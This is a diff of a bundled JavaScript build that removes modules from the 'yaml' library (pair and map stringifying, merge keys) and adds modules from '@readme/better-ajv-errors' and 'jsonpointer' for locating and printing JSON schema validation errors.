throw new Error("With simple keys, key nodes cannot have comments"); - } - if (isCollection(key) || !isNode(key) && typeof key === "object") { - const msg = "With simple keys, collection cannot be used as a key value"; - throw new Error(msg); - } - } - let explicitKey = !simpleKeys && (!key || keyComment && value2 == null && !ctx.inFlow || isCollection(key) || (isScalar(key) ? key.type === Scalar.BLOCK_FOLDED || key.type === Scalar.BLOCK_LITERAL : typeof key === "object")); - ctx = Object.assign({}, ctx, { - allNullValues: false, - implicitKey: !explicitKey && (simpleKeys || !allNullValues), - indent: indent + indentStep - }); - let keyCommentDone = false; - let chompKeep = false; - let str2 = stringify(key, ctx, () => keyCommentDone = true, () => chompKeep = true); - if (!explicitKey && !ctx.inFlow && str2.length > 1024) { - if (simpleKeys) - throw new Error("With simple keys, single line scalar must not span more than 1024 characters"); - explicitKey = true; - } - if (ctx.inFlow) { - if (allNullValues || value2 == null) { - if (keyCommentDone && onComment) - onComment(); - return str2 === "" ? "?" : explicitKey ? `? ${str2}` : str2; - } - } else if (allNullValues && !simpleKeys || value2 == null && explicitKey) { - str2 = `? ${str2}`; - if (keyComment && !keyCommentDone) { - str2 += lineComment(str2, ctx.indent, commentString(keyComment)); - } else if (chompKeep && onChompKeep) - onChompKeep(); - return str2; - } - if (keyCommentDone) - keyComment = null; - if (explicitKey) { - if (keyComment) - str2 += lineComment(str2, ctx.indent, commentString(keyComment)); - str2 = `? ${str2} -${indent}:`; - } else { - str2 = `${str2}:`; - if (keyComment) - str2 += lineComment(str2, ctx.indent, commentString(keyComment)); - } - let vsb, vcb, valueComment; - if (isNode(value2)) { - vsb = !!value2.spaceBefore; - vcb = value2.commentBefore; - valueComment = value2.comment; - } else { - vsb = false; - vcb = null; - valueComment = null; - if (value2 && typeof value2 === "object") - value2 = doc.createNode(value2); - } - ctx.implicitKey = false; - if (!explicitKey && !keyComment && isScalar(value2)) - ctx.indentAtStart = str2.length + 1; - chompKeep = false; - if (!indentSeq && indentStep.length >= 2 && !ctx.inFlow && !explicitKey && isSeq(value2) && !value2.flow && !value2.tag && !value2.anchor) { - ctx.indent = ctx.indent.substring(2); - } - let valueCommentDone = false; - const valueStr = stringify(value2, ctx, () => valueCommentDone = true, () => chompKeep = true); - let ws = " "; - if (keyComment || vsb || vcb) { - ws = vsb ? "\n" : ""; - if (vcb) { - const cs = commentString(vcb); - ws += ` -${indentComment(cs, ctx.indent)}`; - } - if (valueStr === "" && !ctx.inFlow) { - if (ws === "\n") - ws = "\n\n"; - } else { - ws += ` -${ctx.indent}`; - } - } else if (!explicitKey && isCollection(value2)) { - const vs0 = valueStr[0]; - const nl0 = valueStr.indexOf("\n"); - const hasNewline = nl0 !== -1; - const flow2 = ctx.inFlow ?? value2.flow ?? value2.items.length === 0; - if (hasNewline || !flow2) { - let hasPropsLine = false; - if (hasNewline && (vs0 === "&" || vs0 === "!")) { - let sp0 = valueStr.indexOf(" "); - if (vs0 === "&" && sp0 !== -1 && sp0 < nl0 && valueStr[sp0 + 1] === "!") { - sp0 = valueStr.indexOf(" ", sp0 + 1); + Object.defineProperty(exports28, "__esModule", { + value: true + }); + exports28["default"] = getMetaFromPath; + var _utils = require_utils2(); + function getMetaFromPath(jsonAst, dataPath, includeIdentifierLocation) { + var pointers = (0, _utils.getPointers)(dataPath); + var lastPointerIndex = pointers.length - 1; + return pointers.reduce(function(obj, pointer, idx) { + switch (obj.type) { + case "Object": { + var filtered = obj.members.filter(function(child) { + return child.name.value === pointer; + }); + if (filtered.length !== 1) { + throw new Error("Couldn't find property ".concat(pointer, " of ").concat(dataPath)); + } + var _filtered$ = filtered[0], name2 = _filtered$.name, value2 = _filtered$.value; + return includeIdentifierLocation && idx === lastPointerIndex ? name2 : value2; + } + case "Array": + return obj.elements[pointer]; + default: + console.log(obj); } - if (sp0 === -1 || nl0 < sp0) - hasPropsLine = true; - } - if (!hasPropsLine) - ws = ` -${ctx.indent}`; + }, jsonAst.body); } - } else if (valueStr === "" || valueStr[0] === "\n") { - ws = ""; - } - str2 += ws + valueStr; - if (ctx.inFlow) { - if (valueCommentDone && onComment) - onComment(); - } else if (valueComment && !valueCommentDone) { - str2 += lineComment(str2, ctx.indent, commentString(valueComment)); - } else if (chompKeep && onChompKeep) { - onChompKeep(); - } - return str2; -} -var init_stringifyPair = __esm({ - "node_modules/yaml/browser/dist/stringify/stringifyPair.js"() { - init_dirname(); - init_buffer2(); - init_process2(); - init_identity(); - init_Scalar(); - init_stringify(); - init_stringifyComment(); + module5.exports = exports28.default; } }); -// node_modules/yaml/browser/dist/log.js -function warn(logLevel, warning) { - if (logLevel === "debug" || logLevel === "warn") { - console.warn(warning); - } -} -var init_log = __esm({ - "node_modules/yaml/browser/dist/log.js"() { +// node_modules/@readme/better-ajv-errors/lib/json/get-decorated-data-path.js +var require_get_decorated_data_path = __commonJS({ + "node_modules/@readme/better-ajv-errors/lib/json/get-decorated-data-path.js"(exports28, module5) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - } -}); - -// node_modules/yaml/browser/dist/schema/yaml-1.1/merge.js -function addMergeToJSMap(ctx, map4, value2) { - value2 = ctx && isAlias(value2) ? value2.resolve(ctx.doc) : value2; - if (isSeq(value2)) - for (const it2 of value2.items) - mergeValue(ctx, map4, it2); - else if (Array.isArray(value2)) - for (const it2 of value2) - mergeValue(ctx, map4, it2); - else - mergeValue(ctx, map4, value2); -} -function mergeValue(ctx, map4, value2) { - const source = ctx && isAlias(value2) ? value2.resolve(ctx.doc) : value2; - if (!isMap(source)) - throw new Error("Merge sources must be maps or map aliases"); - const srcMap = source.toJSON(null, ctx, Map); - for (const [key, value3] of srcMap) { - if (map4 instanceof Map) { - if (!map4.has(key)) - map4.set(key, value3); - } else if (map4 instanceof Set) { - map4.add(key); - } else if (!Object.prototype.hasOwnProperty.call(map4, key)) { - Object.defineProperty(map4, key, { - value: value3, - writable: true, - enumerable: true, - configurable: true + Object.defineProperty(exports28, "__esModule", { + value: true + }); + exports28["default"] = getDecoratedDataPath; + var _utils = require_utils2(); + function getTypeName(obj) { + if (!obj || !obj.elements) { + return ""; + } + var type3 = obj.elements.filter(function(child) { + return child && child.name && child.name.value === "type"; }); + if (!type3.length) { + return ""; + } + return type3[0].value && ":".concat(type3[0].value.value) || ""; + } + function getDecoratedDataPath(jsonAst, dataPath) { + var decoratedPath = ""; + (0, _utils.getPointers)(dataPath).reduce(function(obj, pointer) { + switch (obj.type) { + case "Object": { + decoratedPath += "/".concat(pointer); + var filtered = obj.members.filter(function(child) { + return child.name.value === pointer; + }); + if (filtered.length !== 1) { + throw new Error("Couldn't find property ".concat(pointer, " of ").concat(dataPath)); + } + return filtered[0].value; + } + case "Array": { + decoratedPath += "/".concat(pointer).concat(getTypeName(obj.elements[pointer])); + return obj.elements[pointer]; + } + default: + console.log(obj); + } + }, jsonAst.body); + return decoratedPath; } + module5.exports = exports28.default; } - return map4; -} -var MERGE_KEY, merge, isMergeKey; -var init_merge = __esm({ - "node_modules/yaml/browser/dist/schema/yaml-1.1/merge.js"() { +}); + +// node_modules/@readme/better-ajv-errors/lib/json/index.js +var require_json = __commonJS({ + "node_modules/@readme/better-ajv-errors/lib/json/index.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - init_identity(); - init_Scalar(); - MERGE_KEY = "<<"; - merge = { - identify: (value2) => value2 === MERGE_KEY || typeof value2 === "symbol" && value2.description === MERGE_KEY, - default: "key", - tag: "tag:yaml.org,2002:merge", - test: /^<<$/, - resolve: () => Object.assign(new Scalar(Symbol(MERGE_KEY)), { - addToJSMap: addMergeToJSMap - }), - stringify: () => MERGE_KEY - }; - isMergeKey = (ctx, key) => (merge.identify(key) || isScalar(key) && (!key.type || key.type === Scalar.PLAIN) && merge.identify(key.value)) && ctx?.doc.schema.tags.some((tag) => tag.tag === merge.tag && tag.default); + var _interopRequireDefault = require_interopRequireDefault(); + Object.defineProperty(exports28, "__esModule", { + value: true + }); + Object.defineProperty(exports28, "getDecoratedDataPath", { + enumerable: true, + get: function get4() { + return _getDecoratedDataPath["default"]; + } + }); + Object.defineProperty(exports28, "getMetaFromPath", { + enumerable: true, + get: function get4() { + return _getMetaFromPath["default"]; + } + }); + var _getMetaFromPath = _interopRequireDefault(require_get_meta_from_path()); + var _getDecoratedDataPath = _interopRequireDefault(require_get_decorated_data_path()); } }); -// node_modules/yaml/browser/dist/nodes/addPairToJSMap.js -function addPairToJSMap(ctx, map4, { key, value: value2 }) { - if (isNode(key) && key.addToJSMap) - key.addToJSMap(ctx, map4, value2); - else if (isMergeKey(ctx, key)) - addMergeToJSMap(ctx, map4, value2); - else { - const jsKey = toJS(key, "", ctx); - if (map4 instanceof Map) { - map4.set(jsKey, toJS(value2, jsKey, ctx)); - } else if (map4 instanceof Set) { - map4.add(jsKey); - } else { - const stringKey = stringifyKey(key, jsKey, ctx); - const jsValue = toJS(value2, stringKey, ctx); - if (stringKey in map4) - Object.defineProperty(map4, stringKey, { - value: jsValue, - writable: true, - enumerable: true, - configurable: true - }); - else - map4[stringKey] = jsValue; - } - } - return map4; -} -function stringifyKey(key, jsKey, ctx) { - if (jsKey === null) - return ""; - if (typeof jsKey !== "object") - return String(jsKey); - if (isNode(key) && ctx?.doc) { - const strCtx = createStringifyContext(ctx.doc, {}); - strCtx.anchors = /* @__PURE__ */ new Set(); - for (const node of ctx.anchors.keys()) - strCtx.anchors.add(node.anchor); - strCtx.inFlow = true; - strCtx.inStringifyKey = true; - const strKey = key.toString(strCtx); - if (!ctx.mapKeyWarned) { - let jsonStr = JSON.stringify(strKey); - if (jsonStr.length > 40) - jsonStr = jsonStr.substring(0, 36) + '..."'; - warn(ctx.doc.options.logLevel, `Keys with collection values will be stringified due to JS Object restrictions: ${jsonStr}. Set mapAsMap: true to use object keys.`); - ctx.mapKeyWarned = true; - } - return strKey; - } - return JSON.stringify(jsKey); -} -var init_addPairToJSMap = __esm({ - "node_modules/yaml/browser/dist/nodes/addPairToJSMap.js"() { +// node_modules/@readme/better-ajv-errors/lib/validation-errors/base.js +var require_base = __commonJS({ + "node_modules/@readme/better-ajv-errors/lib/validation-errors/base.js"(exports28, module5) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - init_log(); - init_merge(); - init_stringify(); - init_identity(); - init_toJS(); + var _interopRequireDefault = require_interopRequireDefault(); + Object.defineProperty(exports28, "__esModule", { + value: true + }); + exports28["default"] = void 0; + var _classCallCheck22 = _interopRequireDefault(require_classCallCheck()); + var _createClass22 = _interopRequireDefault(require_createClass()); + var _codeFrame = require_lib2(); + var _picocolors = _interopRequireDefault(require_picocolors_browser()); + var _json = require_json(); + var BaseValidationError = exports28["default"] = /* @__PURE__ */ function() { + function BaseValidationError2() { + var options = arguments.length > 0 && arguments[0] !== void 0 ? arguments[0] : { + isIdentifierLocation: false + }; + var _ref = arguments.length > 1 ? arguments[1] : void 0, colorize = _ref.colorize, data = _ref.data, schema8 = _ref.schema, jsonAst = _ref.jsonAst, jsonRaw = _ref.jsonRaw; + (0, _classCallCheck22["default"])(this, BaseValidationError2); + this.options = options; + this.colorize = !!(!!colorize || colorize === void 0); + this.data = data; + this.schema = schema8; + this.jsonAst = jsonAst; + this.jsonRaw = jsonRaw; + } + return (0, _createClass22["default"])(BaseValidationError2, [{ + key: "getColorizer", + value: function getColorizer() { + return this.colorize ? _picocolors["default"] : ( + // `picocolors` doesn't have a way to programatically disable the library so we're + // creating an empty proxy that'll just return the arguments of any color functions we + // invoke, sans any colorization. + new Proxy({}, { + get: function get4() { + return function(arg) { + return arg; + }; + } + }) + ); + } + }, { + key: "getLocation", + value: function getLocation2() { + var dataPath = arguments.length > 0 && arguments[0] !== void 0 ? arguments[0] : this.instancePath; + var _this$options = this.options, isIdentifierLocation = _this$options.isIdentifierLocation, isSkipEndLocation = _this$options.isSkipEndLocation; + var _getMetaFromPath = (0, _json.getMetaFromPath)(this.jsonAst, dataPath, isIdentifierLocation), loc = _getMetaFromPath.loc; + return { + start: loc.start, + end: isSkipEndLocation ? void 0 : loc.end + }; + } + }, { + key: "getDecoratedPath", + value: function getDecoratedPath() { + var dataPath = arguments.length > 0 && arguments[0] !== void 0 ? arguments[0] : this.instancePath; + return (0, _json.getDecoratedDataPath)(this.jsonAst, dataPath); + } + }, { + key: "getCodeFrame", + value: function getCodeFrame(message) { + var dataPath = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : this.instancePath; + return (0, _codeFrame.codeFrameColumns)(this.jsonRaw, this.getLocation(dataPath), { + /** + * `@babel/highlight`, by way of `@babel/code-frame`, highlights out entire block of raw JSON + * instead of just our `location` block -- so if you have a block of raw JSON that's upwards + * of 2mb+ and have a lot of errors to generate code frames for then we're re-highlighting + * the same huge chunk of code over and over and over and over again, all just so + * `@babel/code-frame` will eventually extract a small <10 line chunk out of it to return to + * us. + * + * Disabling `highlightCode` here will only disable highlighting the code we're showing users; + * if `options.colorize` is supplied to this library then the error message we're adding will + * still be highlighted. + */ + highlightCode: false, + message + }); + } + /** + * @return {string} + */ + }, { + key: "instancePath", + get: function get4() { + return typeof this.options.instancePath !== "undefined" ? this.options.instancePath : this.options.dataPath; + } + }, { + key: "print", + value: function print() { + throw new Error("Implement the 'print' method inside ".concat(this.constructor.name, "!")); + } + }, { + key: "getError", + value: function getError() { + throw new Error("Implement the 'getError' method inside ".concat(this.constructor.name, "!")); + } + }]); + }(); + module5.exports = exports28.default; } }); -// node_modules/yaml/browser/dist/nodes/Pair.js -function createPair(key, value2, ctx) { - const k6 = createNode(key, void 0, ctx); - const v8 = createNode(value2, void 0, ctx); - return new Pair(k6, v8); -} -var Pair; -var init_Pair = __esm({ - "node_modules/yaml/browser/dist/nodes/Pair.js"() { +// node_modules/@readme/better-ajv-errors/lib/validation-errors/additional-prop.js +var require_additional_prop = __commonJS({ + "node_modules/@readme/better-ajv-errors/lib/validation-errors/additional-prop.js"(exports28, module5) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - init_createNode(); - init_stringifyPair(); - init_addPairToJSMap(); - init_identity(); - Pair = class _Pair { - constructor(key, value2 = null) { - Object.defineProperty(this, NODE_TYPE, { value: PAIR }); - this.key = key; - this.value = value2; + var _interopRequireDefault = require_interopRequireDefault(); + Object.defineProperty(exports28, "__esModule", { + value: true + }); + exports28["default"] = void 0; + var _defineProperty2 = _interopRequireDefault(require_defineProperty()); + var _classCallCheck22 = _interopRequireDefault(require_classCallCheck()); + var _createClass22 = _interopRequireDefault(require_createClass()); + var _possibleConstructorReturn22 = _interopRequireDefault(require_possibleConstructorReturn()); + var _getPrototypeOf22 = _interopRequireDefault(require_getPrototypeOf()); + var _inherits22 = _interopRequireDefault(require_inherits()); + var _base = _interopRequireDefault(require_base()); + function ownKeys2(e10, r8) { + var t8 = Object.keys(e10); + if (Object.getOwnPropertySymbols) { + var o7 = Object.getOwnPropertySymbols(e10); + r8 && (o7 = o7.filter(function(r9) { + return Object.getOwnPropertyDescriptor(e10, r9).enumerable; + })), t8.push.apply(t8, o7); } - clone(schema8) { - let { key, value: value2 } = this; - if (isNode(key)) - key = key.clone(schema8); - if (isNode(value2)) - value2 = value2.clone(schema8); - return new _Pair(key, value2); + return t8; + } + function _objectSpread(e10) { + for (var r8 = 1; r8 < arguments.length; r8++) { + var t8 = null != arguments[r8] ? arguments[r8] : {}; + r8 % 2 ? ownKeys2(Object(t8), true).forEach(function(r9) { + (0, _defineProperty2["default"])(e10, r9, t8[r9]); + }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(e10, Object.getOwnPropertyDescriptors(t8)) : ownKeys2(Object(t8)).forEach(function(r9) { + Object.defineProperty(e10, r9, Object.getOwnPropertyDescriptor(t8, r9)); + }); } - toJSON(_6, ctx) { - const pair = ctx?.mapAsMap ? /* @__PURE__ */ new Map() : {}; - return addPairToJSMap(ctx, pair, this); + return e10; + } + function _callSuper(t8, o7, e10) { + return o7 = (0, _getPrototypeOf22["default"])(o7), (0, _possibleConstructorReturn22["default"])(t8, _isNativeReflectConstruct3() ? Reflect.construct(o7, e10 || [], (0, _getPrototypeOf22["default"])(t8).constructor) : o7.apply(t8, e10)); + } + function _isNativeReflectConstruct3() { + try { + var t8 = !Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function() { + })); + } catch (t9) { } - toString(ctx, onComment, onChompKeep) { - return ctx?.doc ? stringifyPair(this, ctx, onComment, onChompKeep) : JSON.stringify(this); + return (_isNativeReflectConstruct3 = function _isNativeReflectConstruct4() { + return !!t8; + })(); + } + var AdditionalPropValidationError = exports28["default"] = /* @__PURE__ */ function(_BaseValidationError) { + function AdditionalPropValidationError2() { + var _this; + (0, _classCallCheck22["default"])(this, AdditionalPropValidationError2); + for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) { + args[_key] = arguments[_key]; + } + _this = _callSuper(this, AdditionalPropValidationError2, [].concat(args)); + _this.name = "AdditionalPropValidationError"; + _this.options.isIdentifierLocation = true; + return _this; } - }; + (0, _inherits22["default"])(AdditionalPropValidationError2, _BaseValidationError); + return (0, _createClass22["default"])(AdditionalPropValidationError2, [{ + key: "print", + value: function print() { + var _this$options = this.options, message = _this$options.message, params = _this$options.params; + var colorizer = this.getColorizer(); + var output = ["".concat(colorizer.red("".concat(colorizer.bold("ADDITIONAL PROPERTY"), " ").concat(message)), "\n")]; + return output.concat(this.getCodeFrame("".concat(colorizer.magentaBright(params.additionalProperty), " is not expected to be here!"), "".concat(this.instancePath, "/").concat(params.additionalProperty))); + } + }, { + key: "getError", + value: function getError() { + var params = this.options.params; + return _objectSpread(_objectSpread({}, this.getLocation("".concat(this.instancePath, "/").concat(params.additionalProperty))), {}, { + error: "".concat(this.getDecoratedPath(), " Property ").concat(params.additionalProperty, " is not expected to be here"), + path: this.instancePath + }); + } + }]); + }(_base["default"]); + module5.exports = exports28.default; } }); -// node_modules/yaml/browser/dist/stringify/stringifyCollection.js -function stringifyCollection(collection, ctx, options) { - const flow2 = ctx.inFlow ?? collection.flow; - const stringify5 = flow2 ? stringifyFlowCollection : stringifyBlockCollection; - return stringify5(collection, ctx, options); -} -function stringifyBlockCollection({ comment, items }, ctx, { blockItemPrefix, flowChars, itemIndent, onChompKeep, onComment }) { - const { indent, options: { commentString } } = ctx; - const itemCtx = Object.assign({}, ctx, { indent: itemIndent, type: null }); - let chompKeep = false; - const lines = []; - for (let i7 = 0; i7 < items.length; ++i7) { - const item = items[i7]; - let comment2 = null; - if (isNode(item)) { - if (!chompKeep && item.spaceBefore) - lines.push(""); - addCommentBefore(ctx, lines, item.commentBefore, chompKeep); - if (item.comment) - comment2 = item.comment; - } else if (isPair(item)) { - const ik = isNode(item.key) ? item.key : null; - if (ik) { - if (!chompKeep && ik.spaceBefore) - lines.push(""); - addCommentBefore(ctx, lines, ik.commentBefore, chompKeep); +// node_modules/@readme/better-ajv-errors/lib/validation-errors/default.js +var require_default = __commonJS({ + "node_modules/@readme/better-ajv-errors/lib/validation-errors/default.js"(exports28, module5) { + "use strict"; + init_dirname(); + init_buffer2(); + init_process2(); + var _interopRequireDefault = require_interopRequireDefault(); + Object.defineProperty(exports28, "__esModule", { + value: true + }); + exports28["default"] = void 0; + var _defineProperty2 = _interopRequireDefault(require_defineProperty()); + var _classCallCheck22 = _interopRequireDefault(require_classCallCheck()); + var _createClass22 = _interopRequireDefault(require_createClass()); + var _possibleConstructorReturn22 = _interopRequireDefault(require_possibleConstructorReturn()); + var _getPrototypeOf22 = _interopRequireDefault(require_getPrototypeOf()); + var _inherits22 = _interopRequireDefault(require_inherits()); + var _base = _interopRequireDefault(require_base()); + function ownKeys2(e10, r8) { + var t8 = Object.keys(e10); + if (Object.getOwnPropertySymbols) { + var o7 = Object.getOwnPropertySymbols(e10); + r8 && (o7 = o7.filter(function(r9) { + return Object.getOwnPropertyDescriptor(e10, r9).enumerable; + })), t8.push.apply(t8, o7); } + return t8; } - chompKeep = false; - let str3 = stringify(item, itemCtx, () => comment2 = null, () => chompKeep = true); - if (comment2) - str3 += lineComment(str3, itemIndent, commentString(comment2)); - if (chompKeep && comment2) - chompKeep = false; - lines.push(blockItemPrefix + str3); - } - let str2; - if (lines.length === 0) { - str2 = flowChars.start + flowChars.end; - } else { - str2 = lines[0]; - for (let i7 = 1; i7 < lines.length; ++i7) { - const line = lines[i7]; - str2 += line ? ` -${indent}${line}` : "\n"; - } - } - if (comment) { - str2 += "\n" + indentComment(commentString(comment), indent); - if (onComment) - onComment(); - } else if (chompKeep && onChompKeep) - onChompKeep(); - return str2; -} -function stringifyFlowCollection({ items }, ctx, { flowChars, itemIndent }) { - const { indent, indentStep, flowCollectionPadding: fcPadding, options: { commentString } } = ctx; - itemIndent += indentStep; - const itemCtx = Object.assign({}, ctx, { - indent: itemIndent, - inFlow: true, - type: null - }); - let reqNewline = false; - let linesAtValue = 0; - const lines = []; - for (let i7 = 0; i7 < items.length; ++i7) { - const item = items[i7]; - let comment = null; - if (isNode(item)) { - if (item.spaceBefore) - lines.push(""); - addCommentBefore(ctx, lines, item.commentBefore, false); - if (item.comment) - comment = item.comment; - } else if (isPair(item)) { - const ik = isNode(item.key) ? item.key : null; - if (ik) { - if (ik.spaceBefore) - lines.push(""); - addCommentBefore(ctx, lines, ik.commentBefore, false); - if (ik.comment) - reqNewline = true; - } - const iv = isNode(item.value) ? item.value : null; - if (iv) { - if (iv.comment) - comment = iv.comment; - if (iv.commentBefore) - reqNewline = true; - } else if (item.value == null && ik?.comment) { - comment = ik.comment; + function _objectSpread(e10) { + for (var r8 = 1; r8 < arguments.length; r8++) { + var t8 = null != arguments[r8] ? arguments[r8] : {}; + r8 % 2 ? ownKeys2(Object(t8), true).forEach(function(r9) { + (0, _defineProperty2["default"])(e10, r9, t8[r9]); + }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(e10, Object.getOwnPropertyDescriptors(t8)) : ownKeys2(Object(t8)).forEach(function(r9) { + Object.defineProperty(e10, r9, Object.getOwnPropertyDescriptor(t8, r9)); + }); } + return e10; } - if (comment) - reqNewline = true; - let str2 = stringify(item, itemCtx, () => comment = null); - if (i7 < items.length - 1) - str2 += ","; - if (comment) - str2 += lineComment(str2, itemIndent, commentString(comment)); - if (!reqNewline && (lines.length > linesAtValue || str2.includes("\n"))) - reqNewline = true; - lines.push(str2); - linesAtValue = lines.length; - } - const { start, end } = flowChars; - if (lines.length === 0) { - return start + end; - } else { - if (!reqNewline) { - const len = lines.reduce((sum2, line) => sum2 + line.length + 2, 2); - reqNewline = ctx.options.lineWidth > 0 && len > ctx.options.lineWidth; + function _callSuper(t8, o7, e10) { + return o7 = (0, _getPrototypeOf22["default"])(o7), (0, _possibleConstructorReturn22["default"])(t8, _isNativeReflectConstruct3() ? Reflect.construct(o7, e10 || [], (0, _getPrototypeOf22["default"])(t8).constructor) : o7.apply(t8, e10)); } - if (reqNewline) { - let str2 = start; - for (const line of lines) - str2 += line ? ` -${indentStep}${indent}${line}` : "\n"; - return `${str2} -${indent}${end}`; - } else { - return `${start}${fcPadding}${lines.join(" ")}${fcPadding}${end}`; + function _isNativeReflectConstruct3() { + try { + var t8 = !Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function() { + })); + } catch (t9) { + } + return (_isNativeReflectConstruct3 = function _isNativeReflectConstruct4() { + return !!t8; + })(); } - } -} -function addCommentBefore({ indent, options: { commentString } }, lines, comment, chompKeep) { - if (comment && chompKeep) - comment = comment.replace(/^\n+/, ""); - if (comment) { - const ic = indentComment(commentString(comment), indent); - lines.push(ic.trimStart()); - } -} -var init_stringifyCollection = __esm({ - "node_modules/yaml/browser/dist/stringify/stringifyCollection.js"() { - init_dirname(); - init_buffer2(); - init_process2(); - init_identity(); - init_stringify(); - init_stringifyComment(); + var DefaultValidationError = exports28["default"] = /* @__PURE__ */ function(_BaseValidationError) { + function DefaultValidationError2() { + var _this; + (0, _classCallCheck22["default"])(this, DefaultValidationError2); + for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) { + args[_key] = arguments[_key]; + } + _this = _callSuper(this, DefaultValidationError2, [].concat(args)); + _this.name = "DefaultValidationError"; + _this.options.isSkipEndLocation = true; + return _this; + } + (0, _inherits22["default"])(DefaultValidationError2, _BaseValidationError); + return (0, _createClass22["default"])(DefaultValidationError2, [{ + key: "print", + value: function print() { + var _this$options = this.options, keyword = _this$options.keyword, message = _this$options.message; + var colorizer = this.getColorizer(); + var output = ["".concat(colorizer.red("".concat(colorizer.bold(keyword.toUpperCase()), " ").concat(message)), "\n")]; + return output.concat(this.getCodeFrame("".concat(colorizer.magentaBright(keyword), " ").concat(message))); + } + }, { + key: "getError", + value: function getError() { + var _this$options2 = this.options, keyword = _this$options2.keyword, message = _this$options2.message; + return _objectSpread(_objectSpread({}, this.getLocation()), {}, { + error: "".concat(this.getDecoratedPath(), ": ").concat(keyword, " ").concat(message), + path: this.instancePath + }); + } + }]); + }(_base["default"]); + module5.exports = exports28.default; } }); -// node_modules/yaml/browser/dist/nodes/YAMLMap.js -function findPair(items, key) { - const k6 = isScalar(key) ? key.value : key; - for (const it2 of items) { - if (isPair(it2)) { - if (it2.key === key || it2.key === k6) - return it2; - if (isScalar(it2.key) && it2.key.value === k6) - return it2; - } - } - return void 0; -} -var YAMLMap; -var init_YAMLMap = __esm({ - "node_modules/yaml/browser/dist/nodes/YAMLMap.js"() { +// node_modules/jsonpointer/jsonpointer.js +var require_jsonpointer = __commonJS({ + "node_modules/jsonpointer/jsonpointer.js"(exports28) { init_dirname(); init_buffer2(); init_process2(); - init_stringifyCollection(); - init_addPairToJSMap(); - init_Collection(); - init_identity(); - init_Pair(); - init_Scalar(); - YAMLMap = class extends Collection { - static get tagName() { - return "tag:yaml.org,2002:map"; - } - constructor(schema8) { - super(MAP, schema8); - this.items = []; + var hasExcape = /~/; + var escapeMatcher = /~[01]/g; + function escapeReplacer(m7) { + switch (m7) { + case "~1": + return "/"; + case "~0": + return "~"; } - /** - * A generic collection parsing method that can be extended - * to other node classes that inherit from YAMLMap - */ - static from(schema8, obj, ctx) { - const { keepUndefined, replacer } = ctx; - const map4 = new this(schema8); - const add2 = (key, value2) => { - if (typeof replacer === "function") - value2 = replacer.call(obj, key, value2); - else if (Array.isArray(replacer) && !replacer.includes(key)) - return; - if (value2 !== void 0 || keepUndefined) - map4.items.push(createPair(key, value2, ctx)); - }; - if (obj instanceof Map) { - for (const [key, value2] of obj) - add2(key, value2); - } else if (obj && typeof obj === "object") { - for (const key of Object.keys(obj)) - add2(key, obj[key]); - } - if (typeof schema8.sortMapEntries === "function") { - map4.items.sort(schema8.sortMapEntries); + throw new Error("Invalid tilde escape: " + m7); + } + function untilde4(str2) { + if (!hasExcape.test(str2)) + return str2; + return str2.replace(escapeMatcher, escapeReplacer); + } + function setter(obj, pointer, value2) { + var part; + var hasNextPart; + for (var p7 = 1, len = pointer.length; p7 < len; ) { + if (pointer[p7] === "constructor" || pointer[p7] === "prototype" || pointer[p7] === "__proto__") + return obj; + part = untilde4(pointer[p7++]); + hasNextPart = len > p7; + if (typeof obj[part] === "undefined") { + if (Array.isArray(obj) && part === "-") { + part = obj.length; + } + if (hasNextPart) { + if (pointer[p7] !== "" && pointer[p7] < Infinity || pointer[p7] === "-") + obj[part] = []; + else + obj[part] = {}; + } } - return map4; + if (!hasNextPart) + break; + obj = obj[part]; } - /** - * Adds a value to the collection. - * - * @param overwrite - If not set `true`, using a key that is already in the - * collection will throw. Otherwise, overwrites the previous value. - */ - add(pair, overwrite) { - let _pair; - if (isPair(pair)) - _pair = pair; - else if (!pair || typeof pair !== "object" || !("key" in pair)) { - _pair = new Pair(pair, pair?.value); - } else - _pair = new Pair(pair.key, pair.value); - const prev = findPair(this.items, _pair.key); - const sortEntries = this.schema?.sortMapEntries; - if (prev) { - if (!overwrite) - throw new Error(`Key ${_pair.key} already set`); - if (isScalar(prev.value) && isScalarValue(_pair.value)) - prev.value.value = _pair.value; - else - prev.value = _pair.value; - } else if (sortEntries) { - const i7 = this.items.findIndex((item) => sortEntries(_pair, item) < 0); - if (i7 === -1) - this.items.push(_pair); - else - this.items.splice(i7, 0, _pair); - } else { - this.items.push(_pair); + var oldValue = obj[part]; + if (value2 === void 0) + delete obj[part]; + else + obj[part] = value2; + return oldValue; + } + function compilePointer(pointer) { + if (typeof pointer === "string") { + pointer = pointer.split("/"); + if (pointer[0] === "") + return pointer; + throw new Error("Invalid JSON pointer."); + } else if (Array.isArray(pointer)) { + for (const part of pointer) { + if (typeof part !== "string" && typeof part !== "number") { + throw new Error("Invalid JSON pointer. Must be of type string or number."); + } } + return pointer; } - delete(key) { - const it2 = findPair(this.items, key); - if (!it2) - return false; - const del = this.items.splice(this.items.indexOf(it2), 1); - return del.length > 0; - } - get(key, keepScalar) { - const it2 = findPair(this.items, key); - const node = it2?.value; - return (!keepScalar && isScalar(node) ? node.value : node) ?? void 0; - } - has(key) { - return !!findPair(this.items, key); - } - set(key, value2) { - this.add(new Pair(key, value2), true); - } - /** - * @param ctx - Conversion context, originally set in Document#toJS() - * @param {Class} Type - If set, forces the returned collection type - * @returns Instance of Type, Map, or Object - */ - toJSON(_6, ctx, Type3) { - const map4 = Type3 ? new Type3() : ctx?.mapAsMap ? /* @__PURE__ */ new Map() : {}; - if (ctx?.onCreate) - ctx.onCreate(map4); - for (const item of this.items) - addPairToJSMap(ctx, map4, item); - return map4; - } - toString(ctx, onComment, onChompKeep) { - if (!ctx) - return JSON.stringify(this); - for (const item of this.items) { - if (!isPair(item)) - throw new Error(`Map items must all be pairs; found ${JSON.stringify(item)} instead`); - } - if (!ctx.allNullValues && this.hasAllNullValues(false)) - ctx = Object.assign({}, ctx, { allNullValues: true }); - return stringifyCollection(this, ctx, { - blockItemPrefix: "", - flowChars: { start: 